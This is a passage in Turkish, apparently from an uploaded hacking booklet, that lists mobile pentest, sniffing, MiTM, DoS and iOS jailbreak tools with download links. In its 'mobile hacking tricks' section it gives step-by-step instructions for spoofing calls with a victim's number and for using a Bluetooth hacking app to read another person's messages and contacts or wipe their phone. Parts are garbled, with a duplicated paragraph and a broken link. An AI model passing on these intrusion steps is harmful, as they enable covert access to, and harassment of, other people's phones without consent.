Android sanal donanımlarını, Android SDK (Yazılım Geliştirme Araçları)<br />

yönetimi tarafından kolay dağıtımı için kullanılır. İstediğiniz uygulama ve<br />

ayarlarla bir depo oluşturabilirsiniz. Diğerlerinin Android SDK depoları da<br />

sizin oluşturduğunuz ortama yönelir.<br />

İndirmek için (https://github.com/SecurityCompass/AVDClone) adresini<br />

kullanın.<br />

APKInspector<br />

Bu uygulamanın amacı, derlenmiş Android uygulamasını incelemek ve varsa<br />

içindeki virüs benzeri bölümleri bulmaya çalışmaktır.<br />

İndirmek için (http://code.google.com/p/apkinspector/) adresini kullanın.<br />

Burp Suite<br />

Web uygulamalarının güvenlik denetimi için kullanılan bir uygulamadır. Tüm<br />

deneme ve testler birçok aracın birlikte kullanımıyla gerçekleşir. İndirmek<br />

için (http://www.portswigger.net/burp/) adresi kullanılır.<br />

Androguard<br />

Kendi analiz araçlarınızı yaratmanızı sağlar. Bir dizi android uygulaması<br />

analiz edilir. Açık kaynak kötü amaçlı android yazılımları da incelenir.<br />

İndirmek için (http://code.google.com/p/androguard/#Description) adresi<br />

kullanılır.<br />

Sömürmek için Android İskeleti (Android Framework Exploitation)


Smartphone Pentest Framework yazılımı, modern Dünyanın sızma<br />

denemelerindeki gibi bir yaklaşımla çevrenizdeki akıllı telefonların<br />

güvenliğini kırmaya ve içine girmeyi sağlar. İndirmek için<br />

(http://www.github.com/xysec/) adresini kullanabilirsiniz.<br />

Android Ağ araçları (Network Toolkit)<br />

Bu uygulama sizin ağınızın haritasını çıkarır. Çevredeki araçları ya da<br />

ayarları inceler. Amatör kullanıcıların ev içindeki diğer araçlara sızma<br />

denemelerinde kullanılır. ANTI başka yararlı amaçlar için de kullanılabilir.<br />

Bunlar özet olarak; Açık kapılara kolay bağlantı, URL ve çerezleri görsel<br />

izleme (sniffing) ve MiTM saldırıları düzenlemeler (önceden tanımlanmış<br />

kullanıcı filtrelerini kullanma), Sunucu/İstemci tarafındaki faydalanmalar,<br />

Şifre kırma ya da şifre güvenlik düzeyini belirleme, resimleri örneklerde ve<br />

hizmet saldırılarında kullanma gibi işlemlerdir. Hepsi bir paket olarak<br />

kullanışlı kullanıcı arayüzüyle bir Android uygulaması olarak sunulmuştur<br />

(yakında iOS uygulaması olarak da kullanıma açılacaktır). İndirmek için<br />

(http://www.zimperium.com/anti.html) adresini kullanın.<br />

ANONdroid<br />

AN.ON isimsiz hizmet uygulamasıdır. Bu istemci yazılımı WEB sayfalarında<br />

isimsiz (IP numarasız) dolaşmanızı sağlar. Aslında <strong>bilgisayar</strong>ınızda bir proxy<br />

sunucu gibi çalışır. Jo Do tarafından üretilen kitaplıkları kullanır. Akıllı telefon<br />

arayüzüne benzeyen kullanıcı arayüzleri vardır.<br />

İndirmek için (https://market.android.com/details?id=anondroid.anondroid=<br />

web sitesi kullanılır.<br />

Am I Hacker Proof (Hacker'dan kurtulmuş muyum?)<br />

Bu program <strong>bilgisayar</strong>ınızı, ağınızı ya da Web sitenizi dışarıdan bir hacker<br />

gibi tarar, gedikleri bulur ve size e-posta ya da SMS üzerinden gedikleri<br />

bildirir. Bu program telefonunuzun kaynaklarını kullanmaz. Başlarken size<br />

bildirir (e-posta ya da SMS olarak), sonra bittiğini de bildirir.<br />

Aşağıdaki hizmetler ücretsiz sunulur:<br />

Üç tür taramadan biri seçilebilir. Hızlı (Quick) tarama (dört saate kadar<br />

tarama), Tüm (Complete) tarama (tamamlanması dört gün sürer) ve Web<br />

sitesi taraması (WordPress Web sitelerini tarar).<br />

IP adresi ya da Web adresi üzerinden tarama yapabilirsiniz.<br />

Bir ayda 10 kez tarama yapabilirsiniz (ucretsiz olduğu için)<br />

Ping, traceroute, whois, ISP/E-posta hizmet sağlayıcısı veri tabanı ve gerçek<br />

zamanlı siber güvenlik haberleri gibi hazır araçları vardır.<br />

Raporlar PDF dosyalarda saklanır, istenirse e-posta adresinize gönderilir.<br />

Telefonunuzdaki hesap www.AmIHackerProff.com web sitesiyle uyumlu<br />

çalışır.


VoiceMail hack etme<br />

Ping, traceroute, whois, ISP/E-posta servis sağlayıcı veri tabanı ve gerçek<br />

zamanlı siber güvenlik haberleri beslemesi hazır araçları vardır.<br />

Taramalarda adres, zaman, sayı ve gedikler ya da durum ile gösterim.<br />

E-posta ya da sms mesajıyla gediklerin bilgisi iletilir.<br />

İndirmek için (https://market.android.com/details?<br />

id=com.ligatt.amihackerprooffree&feature=search_result) adresini kullanın.<br />

Hack etme eğitimi (kitapçığı)<br />

(https://play.google.com/store/apps/details?id=x.abcd)<br />

İzlenmesi kolay, çeşitli hack etme teknikleri adım adım anlatılmıştır.<br />

Güçlük derecesine göre sınıflandırılmıştır.<br />

Denenmiştir. Tüm hack etme araçları çalışır.<br />

Görsel öğrenenler için videolar vardır.<br />

Tüm hacker saldırılarından korunma kuralları,<br />

Linux kökenli profesyonel arka kapı hack etme eğitimleri.<br />

Droid Pentest<br />

Sızma denemelerinde kullanılan tüm android uygulamalarının bulunmasında<br />

yardımcı olur. İndirmek için<br />

(http://sourceforge.net/projects/droidpentest/files/latest/download?) adresini<br />

kullanın.<br />

Wifi Protector<br />

Android ortamında “Man in the middle” türü saldırıyı yakalayıp ölçebilen tek<br />

uygulamadır. Başka hiçbir uygulama bu kadar yüksek ağ güvenliği<br />

sağlayamaz. Telefonunuzu FaceNiff, Cain & Abel, ANTI, Ettercap,<br />

DroidSheep, NetCut ve benzeri yazılımlardan korur. Yazılım sizin<br />

oturumunuzu “Man in the Middle” aracılığıyla ARP zehirleme ve ARP<br />

kandırmasıyla etkilemeye kalktığında sizi korur.<br />

İndirmek için (https://market.android.com/details?<br />

id=com.gurkedev.wifiprotector) adresi kullanılır.


MOBİL HACKLEME HİLELERİ<br />

Çağrı örselemek (Call forging)<br />

Birisini kendi telefonundan aramak:<br />

http://www.mobivox.com/ adresinde ücretsiz bir hesap açın.<br />

Hesap açarken kurbanın telefon numarasını kullanmayı unutmayın.<br />

E-postanıza gelen iletiyle e-postanızı onaylayın. Sonra giriş yapıp “Direct<br />

WebCall” ile numarayı arayın.<br />

Aşağıdaki gibi bir sayfaya ulaşırsınız:<br />

Burada “Call Now” düğmesine basın.<br />

Arkadaşınız kendi telefonunun kendisini aradığını görünce çok şaşıracaktır.<br />

Polis gibi sizleri arayanların bu yönteme benzer bir yöntem kullandıkları<br />

açıktır.<br />

Mobil Bluetooth hackleme<br />

Aşağıda bir başkasının telefonuna erişince neler yapabileceğinizin bir listesi<br />

var:


Mesajlarını okuyabilirsiniz<br />

Rehberini okuyabilirsiniz (kendi telefonunuzu hangi adla sakladığını<br />

görebilirsiniz)<br />

Profilini değiştirebilirsiniz<br />

Telefon zilini çaldırabilirsiniz<br />

O telefon üzerinde müzik çalabilirsiniz<br />

O telefonu kapatıp yende aşlatabilirsiniz.<br />

Telefonu kapatabilirsiniz.<br />

Fabrika ayarlarına geri döndürebilirsiniz<br />

Zil sesini ayarlayabilirsiniz.<br />

Bluetooth açık olan telefonu hacklemek aşağıdakiler sırayla yapılmalıdır:<br />

Super Bluetooth Hack 1.8 indirilir. Sizin telefonunuzun bu programı<br />

kullanabilenler listesinde olup olmadığını kontrol edin. Sonra programı<br />

telefonunuza kurun.<br />

Hacklenecek telefona programı yüklemek gerekmez.<br />

Önce telefonuzdaki bluetooth'u açın sonra programı başlatın.<br />

Bağlanma seçeneğini seçin. Blıyetooth açık olan cihazları ayarın.<br />

Arkadaşınızın bluetooth'u açık olduğundan listede görünecektir. Sonra<br />

işlemleri yapabilirsiniz.<br />

MOBIL HACKLEME ARAÇLARI<br />

AnDOSid: Andorid için DOS araçları<br />

AnDOSid yalnız güvenlik çalışanları için tasarlanmıştır.<br />

Mesaj gönderen android cihaza ilişkili iki tekil sayı gönderilen AnDOSid<br />

etiketlerini tanımlar. AnDOSid güvenlik çalışanlarının DOS (Denial of Service)<br />

saldırısı benzetmelerini sağlar. Ve doğal olarak mobil telefonlardan web için<br />

dDOS saldırısı da oluşturulur.<br />

Sızma araçları bu tür saldırıyı benzetmek için vardır. Ve web sitesi güvenlik<br />

çalışanlarının bunlara karşı korunma yaplarına yararlar. Mobil cihazlar son<br />

yıllarda yalnız telefon çağrıları için kullanılmamaktadır.<br />

SpoofTooph<br />

Bu program bluetooth donanımının adını, sınıfını ve adresini klonlamak ya da<br />

kandırmak için kullanılır. Sıradan donanımda klonlama bluetooth donanımını<br />

gizlemeye yarar. Bluetooth arama işlemi birden çok donanım varsa yalnız


irini listeler (özellikle aynı adresteklerden birini)<br />

İndirmek için (http://sourceforge.net/projects/spooftooph/files/spooftooph-<br />

0.5/) adresi kullanılır.<br />

JAILBREAK iOS<br />

Jailbreak, iOS işletim sistemi kullanan Apple donanımının sınırlarını<br />

kaldırmaya denir.Bunun için yazılım ve donanım olanakları kullanılır. Bu<br />

donanımlar iPhone, iPod, iPad ve ikinci jenerasyon Apple TV'dir. Jailbreak iOS<br />

işletim sisteminde “root” erişimine izin verir. Ayrıca, “Apple App Store” da<br />

olmayan diğer uygulamalar, uzantılar ve temalar telefona yüklenebilir.<br />

Evasion<br />

Jailbreak yazılımıdır. İOS 7 ve önceki sürümlerde (iOS 6.0'dan sonrası)<br />

çalışır. Mac Os sürümünü indirmek için (https://mega.co.nz/#!<br />

gp9z2RTJ!VWcrCkGWqGp-0Ijk4mKRQzE_ZdU1F0ojA5aKO7Ki7jo),<br />

windows sürümünü indirmek için (https://mega.co.nz/#!Al0lEAzA!<br />

CEbvejP3cU2cstBT9w2apzLEMYAKFy8qu0K3Z6mjShA) adresleri<br />

kullanılır.<br />

RedSnow<br />

Her hangi bir 5xiOS'dan diğerine taşınabilir.<br />

A4 donanımlarındaki jailbreak'e Cydia da bağlanmıştır.<br />

DFU konumuna bağlanmış, A4 donanımlarını tanımlarken “Just Boot”<br />

bağlantısı otomatik kurulur.<br />

3GS ortamlarında eski başlama belleği (bootrom) 6.0 jailbreak'e bağlı<br />

değildir.<br />

3GS ya da iPhone4 lerin herhangi birinde 6.0 hactivation bağlantısı<br />

yoktur.<br />

A5 öncesi donanımların firmware bilgileri yeniden yüklenir. Karmaşık<br />

15 adımlık nasıl yapılır gibi şeylere gerek yoktur.<br />

Her hangi bir IPSW için yeni imzalanmış blob'ları arar.<br />

3GS ya da iPhone4 için BB güncellemesini engeller (Extras->Even<br />

More-> Restore kullanarak)<br />

Denemek için iTunes'dan resmi kilit açma konumunu kullanarak iPhone<br />

telefonun etkinliğini kaldır.<br />

“Even More” etkinlik konumlarını gösterir.<br />

Donanım “normal” konumdayken “Identify” düğmesiyle dönen bilgi<br />

daha çoktur.<br />

Jailbreak'e bağlanmış ATV2 desteklenir.


Kırılmış düğmelerle WTF konumundan otomatik çıkış vardır.<br />

Bir dizi blob uzaktan arandığında (Apple ya da Cydia) redsnow bunları<br />

yerel olarak da saklar.<br />

Apple için (https://sites.google.com/a/iphonedev.com/files/home/redsn0w_mac_0.9.15b3.zip?attredirects=0&d=1)<br />

windows için (https://sites.google.com/a/iphonedev.com/files/home/redsn0w_win_0.9.15b3.zip?attredirects=0&d=1)<br />

adreslerinden indirilebilir.<br />

ÇEŞİTLİ CEP TELEFONU BİLGİLERİ<br />

3G Teknolojisi<br />

NOKIA<br />

3G ya da üçüncü kuşak kablosuz ağ teknolojisi, kişisel ve iş ortamındaki<br />

gelişmeleri belirtir. Roaming yeteneği, band aralığı ve hızlı iletişim<br />

özelliklerini içerir. Bir çok ülke artık 4G teknolojisine taşınırken, hala 3G<br />

kurmamış ülkelerin var olduğunu (Hindistan bile 2010'dan sonra geçti)<br />

söylemeden geçmemek gerekir.<br />

Nokia Simbian işletim sisteminde ilk kez dokunmalı ekranı olan telefonlar<br />

çıkarttığında bu teknoloji yeniydi. Ekran 720p çözünürlükte video<br />

çekilebiliyordu.<br />

SAMSUNG<br />

LG<br />

Önce Windows Phone 7 ile ürün çıkarttı. Herkes bilir ki piyasaya yeni bir<br />

ürün çıkartmanın dört adımı vardır. İlkinde resim kalitesi sızdırılır, sonra<br />

video, peşinden işlevsel özellikler ve sonunda resmi tanıtım yapılır.<br />

Hafif, hanımların kullanımına uygun, renk çeşitleri çok telefonlarla piyasada<br />

boy gösterdi. Tarayıcılar, mesaj çeşitliliği ve bir çok yenilik telefonlarda boy<br />

göstermeye başladı.<br />

Android ve iOS teknolojisi<br />

Android ve iOS teknolojileri akıllı telefonlarda yeni bir yaşam boyutu getirdi.<br />

Daha sonra Windows da aynı ortama girdi. Telefonlara tabletler eklendi. 4G<br />

teknolojisine geçildi. Mobil yaşamın boyutu değişti.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!